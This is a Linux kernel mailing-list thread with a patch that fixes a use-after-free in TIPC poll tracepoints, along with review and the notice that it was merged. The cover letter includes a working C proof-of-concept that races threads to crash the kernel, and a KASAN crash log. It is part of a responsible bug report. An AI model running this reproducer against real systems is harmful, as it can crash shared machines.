[PATCH net v3 0/1] tipc: avoid use-after-free in poll trace queue dumps

[PATCH net v3 0/1] tipc: avoid use-after-free in poll trace queue dumps

[Ren Wei]

From: Zihan Xi <zihanx@nebusec.ai>

Hi Linux kernel maintainers,

We found and validated a bug in net/tipc/socket.c. The bug is
reachable by a local process that can create TIPC sockets and enable
TIPC tracepoints. We've rebuilt and rerun the reproducer with the
updated fix, and the crash no longer reproduces.

This series contains one patch:
  1/1 tipc: avoid use-after-free in poll trace queue dumps

Compared with the previous revision, this version follows the feedback
that tipc_poll() should not take a socket lock even when the tracepoint
is enabled. We also rechecked the trace dump callers in this tree: the
remaining queue/backlog dump sites already run under the socket lock or
sk->sk_lock.slock, while tipc_poll() is the unlocked caller on the
reported crash stack. Based on that, this patch switches only the poll
tracepoint to TIPC_DUMP_NONE instead of adding locking in the poll
path.

We provide bug details, reproducer steps, and a crash log below.

---- details below ----

Bug details:

TIPC socket tracepoints dump queue state through tipc_sk_dump(). Most
queue-dump callsites already serialize that walk under the socket lock
or sk->sk_lock.slock, but tipc_poll() calls
trace_tipc_sk_poll(..., TIPC_DUMP_ALL, ...) without holding either
lock.

That lets the poll trace path reach tipc_list_dump() and backlog
head/tail dumping while another context dequeues and frees an skb,
leaving the trace helper dereferencing a stale queue entry.

This patch fixes the unlocked poll caller directly by switching its
trace dump mode from TIPC_DUMP_ALL to TIPC_DUMP_NONE. Other trace
callers keep their existing queue/backlog dump coverage under the
locking they already provide, while poll still emits the trace event
without walking live queue members from an unlocked context.

Reproducer:

Host:
    make O=/var/cache/linux-patch/tipc-list-dump-build-ext4 olddefconfig
    make O=/var/cache/linux-patch/tipc-list-dump-build-ext4 -j$(nproc) bzImage

Guest:
    gcc -O2 -pthread -Wall /root/tipc_poc.c -o /root/tipc_poc
    mount -t tracefs nodev /sys/kernel/tracing 2>/dev/null || true
    tipc node set identity 1.1.1
    timeout 30s /root/tipc_poc

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/tipc.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define TRACE "/sys/kernel/tracing"
#define TIPC_TYPE 5555

static volatile int stop_flag;
static int srv_fd, cli_fd;

static void write_file(const char *path, const char *s)
{
    int fd = open(path, O_WRONLY | O_TRUNC);
    if (fd < 0) { perror(path); exit(1); }
    if (write(fd, s, strlen(s)) < 0) { perror("write"); exit(1); }
    close(fd);
}

static void enable_trace(void)
{
    char path[256];
    write_file(TRACE "/tracing_on", "0\n");
    write_file(TRACE "/trace", "");
    const char *evs[] = {"tipc_sk_poll", "tipc_sk_filter_rcv", "tipc_sk_overlimit1", "tipc_sk_overlimit2"};
    for (int i = 0; i < 4; i++) {
        snprintf(path, sizeof(path), TRACE "/events/tipc/%s/enable", evs[i]);
        write_file(path, "1\n");
    }
    write_file(TRACE "/tracing_on", "1\n");
}

static void *sender(void *arg)
{
    char payload[4096];
    long cnt = 0;
    memset(payload, 'A', sizeof(payload));
    struct sockaddr_tipc dst = {0};
    dst.family = AF_TIPC;
    dst.addrtype = TIPC_SERVICE_ADDR;
    dst.scope = TIPC_CLUSTER_SCOPE;
    dst.addr.name.name.type = TIPC_TYPE;
    dst.addr.name.name.instance = 1;
    dst.addr.name.domain = 0;
    while (!stop_flag) {
        if (sendto(cli_fd, payload, sizeof(payload), 0, (struct sockaddr *)&dst, sizeof(dst)) >= 0)
            cnt++;
    }
    printf("sent %ld\n", cnt);
    return NULL;
}

static void *poller(void *arg)
{
    struct pollfd pfd = {.fd = srv_fd, .events = POLLIN};
    long cnt = 0;
    while (!stop_flag) {
        poll(&pfd, 1, 0);
        cnt++;
    }
    printf("poll %ld\n", cnt);
    return NULL;
}

static void *receiver(void *arg)
{
    char buf[4096];
    long cnt = 0;
    fcntl(srv_fd, F_SETFL, fcntl(srv_fd, F_GETFL) | O_NONBLOCK);
    while (!stop_flag) {
        ssize_t n = recv(srv_fd, buf, sizeof(buf), 0);
        if (n > 0) cnt++;
        else if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK) {}
    }
    printf("recv %ld\n", cnt);
    return NULL;
}

int main(void)
{
    enable_trace();
    srv_fd = socket(AF_TIPC, SOCK_RDM, 0);
    if (srv_fd < 0) { perror("socket srv"); return 1; }
    int rcvbuf = 1 << 20;
    setsockopt(srv_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf));
    struct sockaddr_tipc srv = {0};
    srv.family = AF_TIPC;
    srv.addrtype = TIPC_SERVICE_RANGE;
    srv.scope = TIPC_CLUSTER_SCOPE;
    srv.addr.nameseq.type = TIPC_TYPE;
    srv.addr.nameseq.lower = 1;
    srv.addr.nameseq.upper = 1;
    if (bind(srv_fd, (struct sockaddr *)&srv, sizeof(srv)) < 0) { perror("bind"); return 1; }
    struct sockaddr_tipc name = {0};
    socklen_t namelen = sizeof(name);
    if (getsockname(srv_fd, (struct sockaddr *)&name, &namelen) < 0) { perror("getsockname"); return 1; }
    unsigned int portid = name.addr.id.ref;
    printf("server portid %u\n", portid);
    char filter[128];
    snprintf(filter, sizeof(filter), "%u 0 0 0 0\n", portid);
    write_file("/proc/sys/net/tipc/sk_filter", filter);

    cli_fd = socket(AF_TIPC, SOCK_RDM, 0);
    if (cli_fd < 0) { perror("socket cli"); return 1; }
    int imp = TIPC_CRITICAL_IMPORTANCE;
    setsockopt(cli_fd, SOL_TIPC, TIPC_IMPORTANCE, &imp, sizeof(imp));

    pthread_t th[3];
    pthread_create(&th[0], NULL, sender, NULL);
    pthread_create(&th[1], NULL, poller, NULL);
    pthread_create(&th[2], NULL, receiver, NULL);
    sleep(5);
    stop_flag = 1;
    for (int i = 0; i < 3; i++) pthread_join(th[i], NULL);
    system("tail -80 /sys/kernel/tracing/trace");
    return 0;
}
------END poc.c--------

----BEGIN crash log----
[  282.625215][ T9764] page_owner tracks the page as allocated
[  282.626124][ T9764] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 9763, tgid 9760 (python3), ts 282622559122, free_ts 280322580853
[  282.628916][ T9764] page last free pid 9750 tgid 9750 stack trace:
[  282.630090][ T9764] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[  282.631030][ T9764] CPU: 1 UID: 0 PID: 9764 Comm: python3 Not tainted 7.1.0-rc2 #10 PREEMPT(full)
[  282.632219][ T9764] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  282.633618][ T9764] Call Trace:
[  282.634056][ T9764]  <TASK>
[  282.634440][ T9764]  vpanic+0x6c3/0x790
[  282.634974][ T9764]  ? __pfx_vpanic+0x10/0x10
[  282.635573][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.636323][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.637064][ T9764]  ? irqentry_exit+0x24d/0x830
[  282.637683][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.638419][ T9764]  ? lockdep_hardirqs_on+0x7b/0x110
[  282.639112][ T9764]  ? tipc_skb_dump+0x14a4/0x14d0
[  282.639756][ T9764]  panic+0xca/0xd0
[  282.640261][ T9764]  ? __pfx_panic+0x10/0x10
[  282.640855][ T9764]  check_panic_on_warn+0x61/0x80
[  282.641542][ T9764]  end_report+0x13e/0x180
[  282.642133][ T9764]  kasan_report+0xf4/0x120
[  282.642764][ T9764]  ? tipc_skb_dump+0x14a4/0x14d0
[  282.643600][ T9764]  tipc_skb_dump+0x14a4/0x14d0
[  282.644400][ T9764]  tipc_list_dump+0x1b6/0x2a0
[  282.645093][ T9764]  tipc_sk_dump+0xa92/0xcc0
[  282.645700][ T9764]  ? trace_event_buffer_reserve+0x150/0x300
[  282.646510][ T9764]  trace_event_raw_event_tipc_sk_class+0x2c1/0x490
[  282.647402][ T9764]  ? __pfx_trace_event_raw_event_tipc_sk_class+0x10/0x10
[  282.648345][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.649114][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.649884][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.650654][ T9764]  ? __pfx_tipc_poll+0x10/0x10
[  282.651310][ T9764]  tipc_poll+0x290/0x590
[  282.651895][ T9764]  sock_poll+0x134/0x490
[  282.652492][ T9764]  do_sys_poll+0x507/0xbf0
[  282.653113][ T9764]  ? __pfx_do_sys_poll+0x10/0x10
[  282.653829][ T9764]  ? do_raw_spin_lock+0x12d/0x270
[  282.654597][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.655369][ T9764]  ? do_futex+0x1cd/0x230
[  282.655977][ T9764]  ? __pfx_do_futex+0x10/0x10
[  282.656614][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.657381][ T9764]  __x64_sys_poll+0x181/0x3e0
[  282.658035][ T9764]  ? __pfx___x64_sys_poll+0x10/0x10
[  282.658745][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.659515][ T9764]  ? rcu_is_watching+0x12/0xc0
[  282.660208][ T9764]  do_syscall_64+0x116/0xf80
[  282.660823][ T9764]  ? irqentry_exit+0x117/0x830
[  282.661476][ T9764]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  282.662266][ T9764] RIP: 0033:0x7f332e77d9ee
[  282.662861][ T9764] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[  282.664714][ T9764] RSP: 002b:00007f332d6fdb58 EFLAGS: 00000246 ORIG_RAX: 0000000000000007
[  282.665298][ T9764] RAX: ffffffffffffffda RBX: 00007f332d6fe6c0 RCX: 00007f332e77d9ee
[  282.665838][ T9764] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 00007f332e604450
[  282.666442][ T9764] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[  282.666986][ T9764] R10: 0000000000000000 R11: 0000000000000246 R12: 00007f332e1834c0
[  282.667563][ T9764] R13: 000000000c939210 R14: 00007f332d6fe640 R15: 00007f332e19af10
[  282.668176][ T9764]  </TASK>
[  282.669068][ T9764] Kernel Offset: disabled
[  282.669366][ T9764] Rebooting in 86400 seconds..
-----END crash log-----

Best regards,
Zihan Xi

---
changes in v3:
  - Drop the previous poll locking approach.
  - Switch only tipc_poll() to TIPC_DUMP_NONE.
  - Recheck the remaining queue/backlog trace callers and keep their
    existing dump coverage under their current locking.
  - Rebuild and rerun the PoC; the crash no longer reproduces.
  - v2 Link: https://lore.kernel.org/all/cover.1784790619.git.zihanx@nebusec.ai/

changes in v2:
  - Keep the existing queue and backlog trace output intact.
  - Serialize the poll trace snapshot under the socket lock.
  - Gate the new locking on trace_tipc_sk_poll_enabled().
  - v1 Link: https://lore.kernel.org/all/24f7311aed0c9ff06b8ea982647b82bf543ec369.1784454542.git.xizh2024@lzu.edu.cn/

Zihan Xi (1):
  tipc: avoid use-after-free in poll trace queue dumps

 net/tipc/socket.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

-- 
2.43.0

[PATCH net v3 1/1] tipc: avoid use-after-free in poll trace queue dumps

[Ren Wei]

From: Zihan Xi <zihanx@nebusec.ai>

TIPC socket tracepoints dump queue state through tipc_sk_dump(). Most
queue-dump callsites already serialize that walk under the socket lock or
sk->sk_lock.slock, but tipc_poll() calls trace_tipc_sk_poll(...,
TIPC_DUMP_ALL, ...) without holding either lock.

That lets the poll trace path reach tipc_list_dump() and backlog head/tail
dumping while another context dequeues and frees an skb, leaving the trace
helper dereferencing a stale queue entry.

Stop the unlocked poll trace site from requesting queue dumps. Other queue
dump trace callsites keep their existing output under the locking they
already provide, while poll still emits the event itself without walking
live queue members from an unlocked context.

Fixes: b4b9771bcbbd ("tipc: enable tracepoints in tipc")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
 net/tipc/socket.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/tipc/socket.c b/net/tipc/socket.c
index e564341e0216..a006fc98a9b8 100644
--- a/net/tipc/socket.c
+++ b/net/tipc/socket.c
@@ -795,7 +795,7 @@ static __poll_t tipc_poll(struct file *file, struct socket *sock,
 	__poll_t revents = 0;
 
 	sock_poll_wait(file, sock, wait);
-	trace_tipc_sk_poll(sk, NULL, TIPC_DUMP_ALL, " ");
+	trace_tipc_sk_poll(sk, NULL, TIPC_DUMP_NONE, " ");
 
 	if (sk->sk_shutdown & RCV_SHUTDOWN)
 		revents |= EPOLLRDHUP | EPOLLIN | EPOLLRDNORM;
-- 
2.43.0

RE: [PATCH net v3 1/1] tipc: avoid use-after-free in poll trace queue dumps

[Tung Quang Nguyen]

>Subject: [PATCH net v3 1/1] tipc: avoid use-after-free in poll trace queue dumps
>
>From: Zihan Xi <zihanx@nebusec.ai>
>
>TIPC socket tracepoints dump queue state through tipc_sk_dump(). Most
>queue-dump callsites already serialize that walk under the socket lock or
>sk->sk_lock.slock, but tipc_poll() calls trace_tipc_sk_poll(...,
>TIPC_DUMP_ALL, ...) without holding either lock.
>
>That lets the poll trace path reach tipc_list_dump() and backlog head/tail
>dumping while another context dequeues and frees an skb, leaving the trace
>helper dereferencing a stale queue entry.
>
>Stop the unlocked poll trace site from requesting queue dumps. Other queue
>dump trace callsites keep their existing output under the locking they already
>provide, while poll still emits the event itself without walking live queue
>members from an unlocked context.
>
>Fixes: b4b9771bcbbd ("tipc: enable tracepoints in tipc")
>Cc: stable@vger.kernel.org
>Reported-by: Vega <vega@nebusec.ai>
>Assisted-by: Codex:gpt-5.4
>Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
>Signed-off-by: Ren Wei <enjou1224z@gmail.com>
>---
> net/tipc/socket.c | 2 +-
> 1 file changed, 1 insertion(+), 1 deletion(-)
>
>diff --git a/net/tipc/socket.c b/net/tipc/socket.c index
>e564341e0216..a006fc98a9b8 100644
>--- a/net/tipc/socket.c
>+++ b/net/tipc/socket.c
>@@ -795,7 +795,7 @@ static __poll_t tipc_poll(struct file *file, struct socket
>*sock,
> 	__poll_t revents = 0;
>
> 	sock_poll_wait(file, sock, wait);
>-	trace_tipc_sk_poll(sk, NULL, TIPC_DUMP_ALL, " ");
>+	trace_tipc_sk_poll(sk, NULL, TIPC_DUMP_NONE, " ");
>
> 	if (sk->sk_shutdown & RCV_SHUTDOWN)
> 		revents |= EPOLLRDHUP | EPOLLIN | EPOLLRDNORM;
>--
>2.43.0

Reviewed-by: Tung Nguyen <tung.quang.nguyen@est.tech>

Re: [PATCH net v3 0/1] tipc: avoid use-after-free in poll trace queue dumps

[patchwork-bot+netdevbpf]

Hello:

This patch was applied to netdev/net.git (main)
by Jakub Kicinski <kuba@kernel.org>:

On Fri, 24 Jul 2026 00:38:40 +0800 you wrote:
> From: Zihan Xi <zihanx@nebusec.ai>
> 
> Hi Linux kernel maintainers,
> 
> We found and validated a bug in net/tipc/socket.c. The bug is
> reachable by a local process that can create TIPC sockets and enable
> TIPC tracepoints. We've rebuilt and rerun the reproducer with the
> updated fix, and the crash no longer reproduces.
> 
> [...]

Here is the summary with links:
  - [net,v3,1/1] tipc: avoid use-after-free in poll trace queue dumps
    https://git.kernel.org/netdev/net/c/b4f1719dfea0

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html